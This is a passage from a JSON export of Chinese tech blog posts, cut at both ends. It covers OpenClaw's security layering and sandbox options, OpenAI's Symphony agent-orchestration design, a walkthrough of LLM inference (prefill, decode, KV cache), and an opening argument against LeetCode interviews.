上执行\n●真正的\u0026quot;个人助手\u0026quot;体验\n九、安全边界：诚实比承诺更重要 OpenClaw 的安全模型假设的是 one trusted operator boundary per gateway\nOpenClaw 的安全文档非常诚实，这句话翻译成人话是：\n这意味着：如果你把Gateway密码给朋友，让他也连进来，你们的对话历史、文件访问、记忆内容默认不隔离。这不是漏洞，是设计选择——为了简化架构，OpenClaw牺牲了多租户隔离，换取单用户场景下的极致能力。\n安全层次 1⚡ 代码片段外层：公网/外部消息源 2 ↓ 3第一道门：Gateway 入口保护 4 - token/password 认证 5 - challenge 签名验证 6 - device identity 校验 7 - pairing 审批 8 ↓ 9第二道门：权限控制 10 - operator / node 角色 11 - scopes 权限范围 12 ↓ 13第三道门：执行保护 14 - tool policy（工具策略） 15 - exec approvals（执行审批） 16 - sandbox（沙箱隔离） 17 - allowlist（白名单） 18 ↓ 19内层：高风险边界 20 - plugins = trusted code 21 - 插件和 Gateway 同等权限 Sandbox：可以隔离，也可以放行 OpenClaw 的沙箱设计非常灵活：\n配置维度：\n●mode：off / non-main / all（是否启用沙箱）\n●scope：session / agent / shared（沙箱范围）\n●workspaceAccess：none / ro / rw（工作区访问权限）\n实际用法举例：\n浏览器隔离：不是接管你的 Chrome OpenClaw不会接管你的日常Chrome（那里面可能有银行登录态），而是拉起独立的Chrome Profile：\n●独立的Cookie、缓存、扩展\n●Agent专用，与你的个人浏览数据隔离\n●支持截图、点击、PDF生成，但无法访问你个人的浏览器历史\n这是\u0026quot;能力\u0026quot;与\u0026quot;安全\u0026quot;的折中：AI需要浏览器自动化，但不能拥有你的全部数字生活。\n十、为什么这是\u0026quot;个人AI操作系统\u0026quot;的雏形？ OpenClaw 之所以值得研究，不是因为它 GitHub stars 多，而是因为它回答了一个未来会越来越重要的问题：\n如果 AI 不再是网页对话框，而是一个长期在线、能操作设备、能记住一切的助手，它的系统架构应该长什么样？\nOpenClaw 的答案是：\n这套答案不一定是终局，也还远没到“完美”。Vision 文档自己都说，项目还很早，当前重点依然是 security、safe defaults、bug fixes、stability 和 setup reliability。也就是说，它依然在快速迭代，仍然带着实验性。\n但它已经足够有代表性。因为它第一次比较完整地把“个人 AI 助手”这件事，从概念拉成了系统工程：\n●消息不再只是消息，而是事件入口；\n●模型不再只是回答器，而是运行时里的推理核心；\n●工具不再只是 function calling 演示，而是被策略、审批和沙箱约束的系统调用；\n●记忆不再只是“模型好像记得”，而是落到磁盘、可检索、可审计、可 Git 备份的工作区资产\n它具备了\u0026quot;操作系统\u0026quot;的味道 不是说它替代 Windows 或 macOS，而是说它有那种系统级的感觉：\n1⚡ 代码片段传统应用：打开 → 用 → 关闭 2操作系统：开机 → 长期运行 → 管理所有应用 → 关机 3 4传统 AI：聊天 → 结束 5OpenClaw：启动 Gateway → 长期在线 → 管理所有 Agent → 关闭 最后，再强调一次：OpenClaw 的本质，不是一个接了很多渠道的聊天 Bot，而是一套以 Gateway 为控制面、以 Agent/Session/Memory 为状态骨架、以工具与节点为执行面，把大模型真正接入现实世界的个人 AI 助手系统。\n","date":"2026-03-11T10:14:30Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-11-openclaw-bao-huo-bei-hou-ta-bu-shi-liao-tian-ji-qi-ren-er-sh/cover.jpg","permalink":"/p/2026-03-11-openclaw-bao-huo-bei-hou-ta-bu-shi-liao-tian-ji-qi-ren-er-sh/","title":"OpenClaw 爆火背后：它不是聊天机器人，而是一套真正会做事的 AI 系统"},{"content":"最近跟业界一些朋友交流，不少公司正在做内部软件开发的 AI 自动化流程系统，正好这两天，OpenAI 在 GitHub 上低调开源了一个很值得认真看的项目：Symphony。\n如果只看名字，你很容易把它理解成“又一个多 Agent 编排框架”；但只要认真读完 README、SPEC.md 和参考实现里的 WORKFLOW.md，你会发现它真正想解决的，根本不是“让 AI 会写代码”，而是另一件更大的事：\n如何把软件研发中的“工作”，交给一套可以持续运行、可隔离、可调度、可回收、可观测的系统去推进。\n这就是 Symphony 最重要的定位。官方原话非常值得细品：\n它会把项目工作转成 isolated, autonomous implementation runs，让团队从“监督 coding agents”转向“管理 work”。README 里的 demo 也很直白：Symphony 盯着 Linear 看板拿任务，拉起 agent 处理 issue，回传 CI 状态、PR review 反馈、复杂度分析和 walkthrough 视频，最后在被接受后安全落 PR。\n很多人第一次看到这里，会本能地把它和 Copilot、Cursor、Claude Code 之类工具放在一起比较。但我觉得，真正准确的比较方式不是“谁代码写得更强”，而是：谁更接近一个面向研发现场的执行系统。 Copilot 类产品解决的是“我写代码时，旁边有个聪明助手”；Symphony 想解决的是“我有一堆 issue，能不能让系统自己取单、分配环境、拉起 Agent、推进状态、处理失败、保留上下文，并把结果交回给我验收”。这已经不只是“辅助编码”，而是开始触碰软件交付流水线本身。\n一、Symphony 到底是什么？ 从 SPEC.md 看，Symphony 的定义非常清晰：它是一个 long-running automation service。在当前规范版本里，它会持续从 issue tracker 读取工作（v1 里明确是 Linear），为每个 issue 创建独立 workspace，并在这个 workspace 里运行 coding agent session。规范还特别强调了它要解决的四类问题：\n1.把 issue 执行变成守护式工作流\n2.把每个任务隔离到独立 workspace\n3.把工作流策略放回 repo 内的 WORKFLOW.md\n4.以及为多任务并发运行提供足够的 observability。\n这段定义很重要，因为它一下子把 Symphony 和大量“Agent Demo”拉开了距离。它不是一个写几个 prompt、串几个工具的 toy project，也不是一个单轮任务脚本。它有轮询、有调度、有状态机、有重试退避、有 workspace 生命周期、有运行期事件、有恢复逻辑。换句话说，它的思维方式更像一个 orchestrator，而不是一个单纯的 agent wrapper。\n更关键的是，SPEC 还专门写了一个“重要边界”：Symphony 是 scheduler/runner 和 tracker reader。这句话很克制，也很专业。它的意思是，Symphony 的职责重点不是替你定义所有业务流程，而是负责任务编排、执行承载和状态协调；而 ticket 状态变更、评论、PR 链接等写操作，通常还是由 coding agent 借助工具在运行时完成。也就是说，它不是一个万能 PM 系统，而是一层面向软件交付的 agent orchestration 壳。\n二、它为什么比“会写代码”更进一步？ 因为真正麻烦的，从来不是 AI 能不能生成一段代码，而是几十个任务并行推进时，系统怎么不失控。\nSymphony 在这方面做得非常工程化。它有明确的内部状态机：Unclaimed、Claimed、Running、RetryQueued、Released。它还定义了 run attempt 的阶段：准备 workspace、构建 prompt、拉起 agent 进程、初始化 session、流式执行 turn、结束、成功、失败、超时、卡死、被 reconciliation 取消。它甚至规定了每次 poll tick 到来时，先 reconciliation，再校验配置，再拉候选 issue，再按优先级分发，最后通知 observability 消费者。\n这套设计背后的思想可以概括成一句话：\n不要先问“怎么让 Agent 跑起来”，而要先问“怎么避免它跑重、跑错、跑飞”。\n比如 candidate selection 里就有一条很像真实研发现场的规则：如果 issue 还处于 Todo，而它依赖的 blocker 还没进入终态，那就不要派发。排序也不是瞎来，而是按 priority、创建时间、issue 标识顺序稳定分发。失败之后也不是简单重试，而是区分正常退出后的短延迟 continuation retry 和异常退出后的指数退避重试。这样的设计，明显已经不是“写代码助手”的思路，而是“任务执行系统”的思路。\n三、每个 issue 一个 workspace：这是 Symphony 最值钱的工程细节 如果你只让我挑 Symphony 里最关键的一点，我会选这个：per-issue workspace。\nSPEC 写得非常清楚：\n每个 issue 的 workspace 路径都必须位于配置的 workspace root 之下；coding agent 只能在该 issue 的 workspace 里执行；workspace 目录名必须净化；还支持 after_create、before_run、after_run、before_remove 等 hooks。工作区会跨运行复用，但终态 issue 可以在启动或状态变更时清理。\n**为什么这个设计这么重要？**因为一旦没有隔离，Agent 系统很快就会碰到三个问题：上下文污染、任务互相踩踏、失败后难以恢复。Symphony 的思路很像给每个工单都分配一个独立工位，Agent 只能在自己的工位里思考、改代码、跑测试、记录状态。哪怕它中途失败了，下次重试回来，也可以在同一个 workspace 上继续，而不是重新失忆。\n这也是为什么我说 Symphony 更接近“工程执行系统”而不是“聊天式 Agent”。聊天系统强调对话连续；Symphony 强调的是 任务连续性。这两个东西，根本不是一个层级。\n四、WORKFLOW.md 才是灵魂：把 Prompt 升级成 repo 内契约 Symphony 很聪明的一点，是它没有把流程硬编码进平台，而是把策略收回到仓库里。SPEC 规定 WORKFLOW.md 由 YAML front matter 和 Markdown prompt body 组成，运行时会解析出 config 与 prompt template；很多核心行为——轮询间隔、workspace root、并发限制、hooks、agent 参数——都来自这份 repo-owned contract。\n参考实现里的 WORKFLOW.md 更是把这种思想写得非常彻底。它规定了 issue 在不同状态下该怎么流转：\n●Todo 要立即切到 In Progress，然后找或建唯一的 ## Codex Workpad 评论，再开始分析与实现；\n●Human Review 阶段不再改代码，只轮询 review 结果；\n●进入 Merging 后必须走专门的 land 技能，不能直接 gh pr merge。文档还要求把单个 workpad comment 当作进度和交接的唯一真相源，并且把 out-of-scope 改进拆成新的 Backlog issue，而不是在当前任务里偷偷扩 scope。\n这件事的意义非常大。它意味着团队以后真正需要打磨的，不只是“怎么写 prompt”，而是“怎么把流程、约束、验收标准、状态流转、回退机制，写成一份和代码一起版本化的工程契约”。这比 prompt engineering 更接近组织能力。\n五、为什么参考实现偏偏选了 Elixir？ 这不是噱头，反而是我觉得 Symphony 最有工程味的地方之一。\nGitHub 仓库当前语言分布里，Elixir 约占 94.9%；README 也直接写了 Why Elixir?：因为 Elixir 运行在 Erlang/BEAM/OTP 之上，很适合监督长时间运行的进程，并且支持在不停止活跃 subagents 的情况下做 hot code reloading。\n这和 Symphony 的问题形态是高度匹配的。一个普通 Web 请求可能几十毫秒就结束，但一个 coding agent 处理复杂任务时，可能会持续很久，还要接收事件、处理重试、维持会话、更新状态、暴露观测数据。BEAM/OTP 擅长的，恰好就是这种长生命周期、并发多、失败要可控隔离的系统。OpenAI 官方没有在 README 里展开讲 supervision tree 这些词，但它给出的理由已经足够说明方向：Symphony 不是在追求“AI 生态默认语言”，而是在追求“最适合承载 agent orchestration 的运行时”。\n六、真正的前提不是更强模型，而是 Harness Engineering 如果说 Symphony 讲的是“如何调度 Agent”，那 Harness Engineering 讲的就是“怎样让 Agent 值得被调度”。\nOpenAI 在官方文章里把这件事说得很重：他们构建的产品里，应用逻辑、测试、CI、文档、可观测性和内部工具，全部由 Codex 写出；而人类工程师的角色，从直接写代码，转向设计环境、明确意图、构建反馈回路。文章里那句“Humans steer. Agents execute.”，几乎可以看作整个 Symphony 时代的软件工程宣言。\n也正因如此，README 才会明确写：Symphony 最适合已经采用 harness engineering 的代码库。意思很简单：如果你的仓库没有可靠测试、没有清晰边界、没有稳定构建入口、没有可验证的反馈回路，那么再强的 Agent 也只是更快地在混乱里打转。Symphony 的价值，不是替代工程纪律；恰恰相反，它会把工程纪律的重要性放大十倍。\n七、它的边界也必须讲清楚 一个成熟的技术判断，不能只讲想象力，不讲边界。\nSymphony 现在仍是一个工程预览版，README 明确写了适用于 trusted environments；SPEC 也写了 approval policy、sandbox policy、operator confirmation posture 都是 implementation-defined，不同实现可以高信任，也可以更严格。它当前规范版本只定义了 Linear 作为 tracker，至于更多 issue tracker 适配器，还是 TODO。参考实现虽然带可选 Phoenix observability 服务和 JSON API，但整个项目还远没到“所有团队直接开箱上生产”的阶段。\n所以，最稳妥的结论不是“研发彻底无人化已经到来”，而是：\nOpenAI 正在把 AI Coding 从“单点能力演示”推进到“工程系统形态演示”。\n这一步，比单纯再出一个更强的代码模型，更值得关注。\n结语 如果一定要用一句话概括 Symphony，我会这样说：\n它不是在教 Agent 如何写代码，而是在教团队如何把“软件交付”本身改写成一套可执行、可编排、可观测的系统。\n过去，AI 是工程师的副驾驶；现在，Symphony 展示的是另一种可能：工程师不再盯着每一行代码，而是站到更高一层，去设计流程、约束环境、设定验收标准，然后管理一批持续运行的 agent 去推进工作。真正的变化，不是“AI 会不会写 CRUD”，而是“软件组织会不会因此改写自己的工作方式”。\n这，才是 Symphony 最值得认真读的地方。\n","date":"2026-03-07T11:39:53Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-07-openai-kai-yuan-symphony-ai-bu-zai-zhi-shi-xie-dai-ma-er-shi/cover.jpg","permalink":"/p/2026-03-07-openai-kai-yuan-symphony-ai-bu-zai-zhi-shi-xie-dai-ma-er-shi/","title":"OpenAI 开源 Symphony：AI 不再只是写代码，而是开始接管“工作流”"},{"content":"昨天面试时，面试官抛给我一道很典型的问题：\n“描述一下一个请求 prompt 经过 LLM 直到返回结果，这中间的推理过程，越详细越好。”\n这类题看起来开放，实际上很考验基本功。\n因为它不是在问你会不会背几个名词，而是在看你是否真的理解：\n●一个请求在系统里是怎么流动的\n●进入模型之后到底算了什么\n●为什么大模型是一个 token 一个 token 地往外生成\n●为什么会有 prefill、decode、KV cache、sampling 这些概念\n●为什么工程侧还要引入 batching、FlashAttention、continuous batching 之类的优化\n如果回答得太浅，就会变成泛泛而谈；如果一上来就扎进公式，又很容易失去结构。\n我后来复盘了一下，觉得这道题最好的答法，不是“想到哪说到哪”，而是按一条完整链路去讲：服务层怎么处理请求，LLM 内部怎么做前向计算，生成阶段又是如何一步步产出结果的。 这也是 GPT-3 所代表的自回归语言模型在推理时的基本工作方式：它不会在一次请求里更新参数，而是在固定权重下做前向传播，并逐 token 预测后续内容\n一个高分回答，最好先把整体框架立住 如果让我在面试里先用一句话概括，我会这样回答：\n一个 prompt 从输入到输出，大体会经历 6 个阶段：请求封装、tokenization、推理调度、prefill、decode、结果反解码返回。其核心本质是：模型先并行“读懂”整段输入，建立上下文状态和 KV cache，然后再进入自回归生成循环，每次只预测下一个 token。 这种“自回归 + 不做本次梯度更新”的推理方式，正是 GPT 类语言模型的基本范式；而 Transformer 则提供了它内部 attention 和前馈网络的计算骨架。\n这句话为什么重要？\n因为它先把系统层和模型层分开了，也先把prefill和decode分开了。很多人答这道题失分，不是因为不会，而是因为把所有层次混在一起，听起来就没有脉络。\n第一阶段：用户输入的 Prompt，并不是模型真正看到的内容 我们在聊天框里看到的是自然语言，但模型真正接收到的，通常不是这段原始文本本身。\n在送入模型之前，服务层一般会先把 system、user、assistant 等多轮消息按固定模板组织起来，再补上一些特殊标记。随后，文本会经过 tokenizer，被切成 token 序列。像 OpenAI 开源的 tiktoken 就明确说明，它是一个用于模型的 BPE tokenizer。也就是说，对模型来说，文本首先会被变成一串离散的 token IDs，而不是“句子”本身。\n这一层很多人容易忽略，但它很关键。\n因为后面所有推理，都是建立在 token 序列上的。你输入的是一句中文、一段英文、还是一段代码，对模型来说，第一步都得先转换成 token IDs。\n第二阶段：请求不会立刻进模型，而是先进入推理服务和调度层 在真实工程系统里，一个请求到达后，通常不会马上冲进 GPU 执行。\n它往往还要经过一层推理服务框架，比如 TGI、vLLM 这一类系统。它们会负责请求排队、动态 batching、缓存管理、流式返回等工作。Hugging Face 的 TGI 文档明确把 continuous batching、token streaming、Flash Attention、Paged Attention 等列为核心特性；而 Transformers 的 continuous batching 文档也说明，这种动态调度的目的是提高 GPU 利用率、降低延迟，并允许请求在每一步动态加入和退出批次。\n所以，从系统视角看，链路通常是这样的：\n用户输入 → prompt 模板展开 → tokenization → 请求调度 / batching → 送入模型\n这一步的意义在于：\n模型推理不是单个请求的“裸跑”，而是和其他请求一起，由推理引擎统一组织和优化的。\n我们上一阶段说的 tokenization ，严格来说， 不属于 Transformer 前向推理本身，模型只接收 input_ids。但在现代推理服务里，tokenizer 往往和 serving 引擎绑定在一起，所以工程上看起来像是推理引擎在处理原始字符串。像 vLLM 就同时支持 text prompt 和 pre-tokenized prompt，两种模式都能跑。\n用户通常把原始字符串发给后端；后端中的推理服务通常持有 tokenizer，先把字符串编码成 token IDs，再交给模型执行 prefill/decode。只有在某些架构下，tokenization 才会提前在客户端或独立预处理层完成。\n第三阶段：进入模型后，token 会先变成向量表示 真正进入 LLM 后，第一步不是“开始回答”，而是把 token IDs 映射成高维向量。\n这一步叫 embedding lookup。每个 token 都会查一张巨大的 embedding 表，得到自己的向量表示。到这时，模型才真正进入连续空间的数值计算。Transformer 的基础论文《Attention Is All You Need》所定义的，就是这样一种基于 attention 的序列建模方式。\n不过只有 token 向量还不够，因为模型还得知道“谁在前、谁在后”。\n早期 Transformer 使用位置编码，后来很多大模型会用 RoPE（Rotary Position Embedding）。RoPE 的核心价值，是把位置信息融入 attention 计算中，让模型在处理 token 时同时保留相对位置信息。\n第四阶段：真正的“推理核心”发生在一层层 Transformer Block 里 这是这道题最核心的部分。\n如果面试官说“越详细越好”，你就必须把 Transformer Block 讲清楚。\n一个典型的 decoder-only LLM，每一层大体都会做两件事：\n●第一，Self-Attention\n●第二，FFN / MLP（前馈网络）\n中间再配合残差连接和归一化。Transformer 论文给出的主体结构就是这样。\n你可以把它想成：\n●attention 负责“读群聊”\n●FFN 负责“自己想一想、整理一下”\nSelf-Attention 在干什么？ 可以把它理解成：当前位置的 token，要去看上下文里哪些 token 最相关。\n模型会把当前隐藏状态投影成 Query、Key、Value 三组向量，然后通过 Query 和所有 Key 的相似度算出注意力权重，再对 Value 做加权求和。Transformer 论文把它定义为 Scaled Dot-Product Attention。\n对于生成式语言模型，还有一个必须强调的点：causal mask。\n也就是当前位置只能看见自己和前面的 token，不能偷看未来。这一点决定了模型天然是自回归生成的：它永远只能基于已有上下文，去预测下一个 token。GPT-3 论文里所讨论的 few-shot/in-context learning，本质上也是建立在这种自回归预测机制之上的。\n关于 Q、K、V，可以简单这样理解：\nQ = 我现在想找什么\nK = 每个词身上贴的“索引标签”\nV = 每个词真正携带、可被取走的信息。\n最通俗的比喻是“图书馆检索”：\n你现在脑子里有一个问题，这就是 Q（Query）；书架上每本书卡片上的主题标签，是 K（Key）；书里真正的内容，是 V（Value）。系统先拿你的问题 Q 去和所有标签 K 比一比，看看“像不像、相关不相关”；相关度高的那些书，它们的内容 V 就会被更多地取出来，最后合成当前这一步该看的信息。Transformer 论文对 attention 的定义，本质上就是“一个 query 对一组 key-value 对做匹配，输出是 values 的加权和”。\nFFN 又在干什么？ 如果说 attention 负责“从上下文搬运信息”，那么 FFN 更像是“对当前位置做进一步加工”。\n它不会跨位置交互，而是对每个 token 的表示单独做非线性变换，把特征进一步提纯和增强。Transformer 论文把它称为 position-wise feed-forward network。\n所以一个 Transformer Block 可以粗略理解成：\n先决定我该关注上下文里的谁，再把取回来的信息做一轮更深的特征变换\n注意在整个流程中，prefill 和 decode 阶段，都要做 self-attention 和 FFN。\n但要分清楚：“都要做”不等于“做法完全一样”。\n●Prefill 把整段 prompt 一次性送进去。 这时每一层都会对这批 token 做 masked self-attention，然后再过 FFN。因为整段 prompt 一开始就都已知，所以这一步可以在单个请求内部并行处理很多 token。Hugging Face 对 prefill 的描述也是：prefill 会处理整段输入，并建立 KV cache。\n●Decode 开始一个 token 一个 token 往后生成。 这时每生成一个新 token，它仍然要在每一层里经过：一次 self-attention，一次 FFN\ndecode 不是把旧 token 全部再跑一遍 attention 和 FFN。有了 KV cache 后，旧 token 的 K/V 会被缓存起来；新 token 到来时，只需要为这个新 token 计算当前层需要的表示，再和历史 K/V 做注意力计算，然后继续过 FFN。Hugging Face 官方缓存文档明确说了：后续生成时，只传入尚未处理的新 token，并把 key/value 写入和读取自 cache。\nFFN 就是 Transformer 每层里、紧跟在 self-attention 后面的前馈网络，本质上是对每个 token 单独做的 MLP 加工。在标准 LLM 里，prefill 和 decode 两个阶段都要经过 self-attention 和 FFN；区别只是 prefill 处理整段已知 token，decode 只处理当前新 token，并复用历史 KV cache\n第五阶段：Prefill——先把整段 Prompt “读完” 很多人会误以为模型一进来就开始逐字生成。\n其实不是。生成前通常会先有一个很重要的阶段：Prefill。\nPrefill 的意思是：\n先把整段 prompt 一次性跑完整个前向过程。\n在这个阶段，模型会为输入中的所有 token 计算各层隐藏状态，并且生成后面 decode 要用到的 KV cache。Hugging Face 的缓存文档明确指出，KV cache 会把注意力层中之前 token 产生的 key-value 对存下来，后续生成时直接复用，从而避免重复计算。\nPrefill 的一个重要特点是：\n它通常可以高度并行。\n因为整段输入已经完整给定了，GPU 能把很多矩阵操作一起做完。所以 prefill 更像“先整体读题”，吞吐通常更高。vLLM 文档也明确把 prefill 归类为更偏 compute-bound 的阶段\n你可以把 prefill 想象成一个正在考试的人，prefill 就是他正在读题，把题目先读到脑子里，填充好上下文，然后再开始做答（输出 token）\n第六阶段：KV Cache——为什么不会每次都重算全文 这部分是面试里非常加分的点。\n因为它体现你不只懂“算法”，还懂“推理为什么能跑得起来”。\n如果没有 KV cache，那么每生成一个新 token，模型都要把整个历史上下文从头再算一遍，成本会非常高。\n而有了 KV cache 后，历史 token 在每层 attention 中算出的 K 和 V 都会被缓存起来。下一个时间步只需要为新 token 计算新的 Query、Key、Value，再用新的 Query 去和历史缓存里的 Key 做匹配即可。Hugging Face 的官方文档把这一点解释得很清楚：KV cache 的目标就是消除重复计算，加速自回归生成。\n一句话说明就是：\n●没有 KV cache，像每次都重读整篇文章\n●有 KV cache，则像前文已经做好笔记，现在只补最后一句。\n为什么 KV cache 只缓存 K 和 V，而不缓存 Q？ 一个东西值不值得缓存，不看它“重不重要”，而看它“后面还会不会再次被用到”。\nKV cache 只缓存 K 和 V，不缓存 Q，不是因为 Q 不重要，而是因为 Q “只在当前这一步有用一次”；而 K、V 会在后面每一步继续被反复用到。 这正是 Hugging Face 官方对缓存机制的解释：过去 token 的 K 和 V 可以缓存并复用，而在推理时，只需要“最后一个 token 的 query”来计算当前步的表示。\n第七阶段：Decode——开始逐 token 生成答案 当 prefill 完成后，模型已经“读懂”了整段输入。\n接下来，系统会取最后一个位置的隐藏状态，通过输出层映射成整个词表上的 logits，也就是“下一个 token 的打分”。随后再通过 softmax 和解码策略，决定下一个 token 输出什么。Transformer 的输出逻辑与 Hugging Face 的生成文档都说明了这一点。\n这里又有一个容易被问到的点：\n下一个 token 是怎么选出来的？\n并不是只有“选概率最大”这一种方式。常见解码策略包括 greedy、sampling、top-k、top-p 等。不同策略会影响文本的稳定性、多样性和创造性。Hugging Face 的生成策略文档对此有系统说明。\n然后，流程进入一个循环：\n●把刚生成的 token 接到上下文后面\n●复用 KV cache\n●只为这个新 token 跑一遍前向计算\n●再得到新的 logits\n●再生成下一个 token\n这就是为什么你看到的大模型回答，总是一个 token 一个 token 流式地吐出来，而不是整段瞬间出现。\n为什么“第一个字慢，后面快”？ 这也是一个非常像面试 follow-up 的问题。\n很多候选人知道 prefill 和 decode，但解释不清为什么两者速度特征不同。\nvLLM 的优化文档明确提到，prefill 更偏 compute-bound，decode 更偏 memory-bound。\n原因在于：prefill 可以把整段输入并行做大矩阵乘法，吃满 GPU 算力；而 decode 虽然每步只算一个 token，但它强依赖历史 KV cache，频繁访问显存，并且步骤之间有严格的顺序依赖。\n这也是为什么工程上会有很多针对推理性能的优化，比如：\n●FlashAttention：通过 IO-aware 的 attention 计算方式，减少显存读写\n●continuous batching：动态调整批次，减少 GPU 空转\n●chunked prefill / Paged Attention：改进长上下文和缓存管理效率\n要注意，这些技术优化的是执行效率，不是模型的“语义本质”。模型本质上做的事情仍然是：基于已有上下文，反复预测下一个 token\n我现在觉得，这道题最稳妥的回答方式，就是最后收束成一句话：\n一个 LLM 请求的推理过程，本质上是：先把 prompt 模板化并 token 化，经由推理服务调度进入 GPU；模型通过 embedding 和多层 Transformer block 并行完成 prefill，建立上下文表示和 KV cache；随后进入 decode 循环，基于历史缓存逐 token 执行注意力、前馈网络和采样，直到生成结束，再把 token 序列反解码成文本返回。 这条链路同时体现了 Transformer 的计算机制、自回归生成范式，以及现代推理系统在 batching、缓存和 attention kernel 上的工程优化\n看起来都是推理引擎的活儿啊？ 从整个流程上看，几乎都是推理引擎在负责，所以可以这么理解，但要再往前走半步：\n●从“流程编排”角度看，LLM 本体确实很被动；\n●从“核心计算与语义生成”角度看，LLM 才是全链路里最不可替代的部分。\n如果把整个链路拆开，职责大致是这样的：\n1.推理引擎 / serving 系统负责：接 HTTP 请求、做 tokenization / 输入处理、调度 batching、管理 KV cache、协调 GPU worker、流式返回结果、做一部分采样与系统优化。vLLM 的官方文档甚至把这几层写得很直白：最少会有 1 个 API server 负责 HTTP、tokenization 和输入处理，1 个 engine core 负责 scheduler 和 KV cache 管理，再加上 N 个 GPU worker 负责执行模型前向计算。\n2.LLM 模型本体负责：对 input_ids 做 embedding，经过多层 Transformer block 的 self-attention 和 feed-forward network，输出 logits，也就是“下一个 token 的分数分布”。Transformer 论文给出的核心结构就是 attention + FFN；Transformers 文档也明确说 causal language modeling 本质上是在左侧上下文条件下做 next-token prediction，而模型输出里的 logits 是对词表中每个 token 的预测分数。\n所以，**推理引擎决定“怎么高效地跑”，模型决定“到底生成什么”。**前者偏“编排与优化”，后者偏“语义计算与内容生成”\n","date":"2026-03-06T03:44:58Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-06-zuo-tian-mian-shi-guan-wen-wo-yi-ge-prompt-jin-ru-da-mo-xing/cover.jpg","permalink":"/p/2026-03-06-zuo-tian-mian-shi-guan-wen-wo-yi-ge-prompt-jin-ru-da-mo-xing/","title":"昨天面试官问我：一个 Prompt 进入大模型后，内部到底发生了什么？"},{"content":"拒绝内卷！为什么我们应该抵制用 LeetCode 考查真实的工程师？ 如果你要招募一位主刀医生，你会让他当场默写《人体解剖学》的第一章吗？如果你要找一位米其林大厨，你会蒙住他的眼睛，让他比赛在一分钟内切出多少根标准厚度的土豆丝吗？\n显然不会。但在如今的软件工程招聘中，我们却在做着同样荒谬的事情：让那些在复杂的业务泥潭中摸爬滚打、主导过千万级并发系统、熟练操纵复杂云原生架构的资深工程师，站在白板前，徒手写出一个“翻转二叉树”或者“接雨水”的最佳时间复杂度解法。\n不知从何时起，“刷 LeetCode”已经从一种思维训练，演变成了一场病态的军备竞赛。是时候戳破这个泡沫了：LeetCode 根本选拔不出优秀的软件工程师，它正在毁掉我们的行业生态。\n一、 真实的工程世界，从来不是一道“闭卷考试” 让我们先来看看，一个现代软件工程师的真实一天是怎样度过的。\n你可能会花一整个上午，在一堆没有注释的“屎山”代码中追踪一个诡异的内存泄漏问题；你可能会在下午和产品经理反复拉扯，确定一个新功能在微服务架构下的 API 边界；你可能会在排查为什么 Kubernetes 集群里的 HPA（水平Pod自动扩缩容）没有按预期触发，或者研究 Istio 网关的流量路由策略。\n如果你身处最前沿的 AI 领域，你可能正在评估是用 LangGraph 还是 AutoGen 来构建多 Agent 协同流，或者在调试大模型 API 的 Top-p 采样参数，试图让生成的回答既准确又具有随机性。甚至，在业余时间，你可能在设计一款解决自己痛点的小工具——比如一个用来清理、分类和管理繁杂书签的浏览器插件。\n这些工作有一个共同点：它们都是极其复杂的、高度依赖上下文的、开放性的问题。\n而在真实的工作环境中，我们解决这些问题依靠的是什么？\n1.查阅文档与搜索能力： 我们有 Google、有官方文档、有开源社区，甚至现在还有 AI 助手。\n2.调试与试错能力： 我们通过打日志、单步调试、看监控指标来定位问题。\n3.架构视野与经验直觉： 我们知道什么时候该用单例模式，什么时候该用工厂方法；我们知道在高并发下如何设计缓存策略，如何保证数据一致性。\n4.沟通与协作： 我们需要阅读别人的代码，也需要让别人看懂我们的设计。\n反观 LeetCode 面试，它创造了一个极其不真实的无菌实验室环境：\n●题目边界清晰，输入输出明确。\n●只有单一的“最优解”（通常是时间复杂度和空间复杂度的极限）。\n●不允许查阅文档，甚至不允许使用趁手的 IDE（有时只能在网页的纯文本框里写代码）。\n●偏离日常使用的技术栈（你可能用 Python 写了十几年业务，却要用 C++ 的思维去考虑指针和内存管理）。\n这就像是要求一个现代战争中的王牌飞行员，在面试时去比拼谁的射箭准头更好。它考察的不是“解决问题的能力”，而是“在极其受限条件下的默写能力”。\n二、 刷题面试，正在惩罚真正有经验的“老兵” 在软件开发领域，经验是一笔巨大的财富。一个拥有 10 年、15 年工作经验的研发架构师，他最大的价值并不在于写代码的速度有多快，而在于他踩过足够多的坑。\n资深工程师知道，一个系统最大的危机往往不是算法复杂度从 变成了 （很多时候硬件资源和缓存机制完全能弥补），而是：\n●数据库连接池配置不当导致的雪崩。\n●缺乏熔断降级机制导致的服务级联故障。\n●领域模型设计错误导致的后续需求无法扩展。\n●业务逻辑耦合过深导致的测试困难。\n然而，当这位资深架构师带着一身的实战本领走进面试房间时，等待他的却是一道“动态规划（DP）”的 Hard 题。\n这是一种极大的资源浪费。一个能在生产环境中稳稳掌控全局、能设计出高可用 AI 基础设施、能带领团队攻坚克难的资深人才，仅仅因为最近几个月忙于项目交付、或者忙于应对生活中的变故（比如寻找新机会、照顾家庭），没有抽出几百个小时去死记硬背算法题库，就被无情地贴上“技术不过关”的标签淘汰出局。\n这种现象导致了一个极其荒谬的倒挂：\n那些刚刚毕业、没有写过一行生产环境代码、不懂得什么是持续集成、不知道如何进行线上排障的学生，只要花三个月把 LeetCode 刷个滚瓜烂熟，就能在面试中大杀四方；而那些真正在一线扛过枪、打过仗，能够解决复杂工程灾难的老兵，却在白板前因为忘记了一个状态转移方程而涨红了脸。\n企业以为自己招到了“绝顶聪明”的天才，结果新人一入职，面对极其复杂的微服务依赖和一团乱麻的业务逻辑，立刻束手无策。因为真实的业务系统里，没有人会为你准备好整洁的 ListNode 或者 TreeNode。\n三、 算法题面试的本质：一场低效的“智商服从性测试” 为什么即便怨声载道，这么多公司依然痴迷于 LeetCode 面试？很多面试官会辩解说：“算法题能考察候选人的聪明程度和逻辑思维。”\n这其实是一个伪命题。\n1. 算法题早就不测智商了，它只测“准备度”。\n在互联网早期，用算法题面试确实能筛选出一些思维敏捷的人，因为那时没有题库。但现在，LeetCode 已经有上千道题，“面经”满天飞。面试不仅变成了开卷考试的闭卷化，更变成了一门应试产业。能解出 Hard 题，往往不意味着你绝顶聪明，只意味着你刷到过原题，或者你花了大把时间去背诵套路。这充其量是一场“服从性测试”——看候选人愿不愿意为了这份工作去吃毫无意义的苦。\n2. 忽视了工程中最关键的“可维护性”。\n在 LeetCode 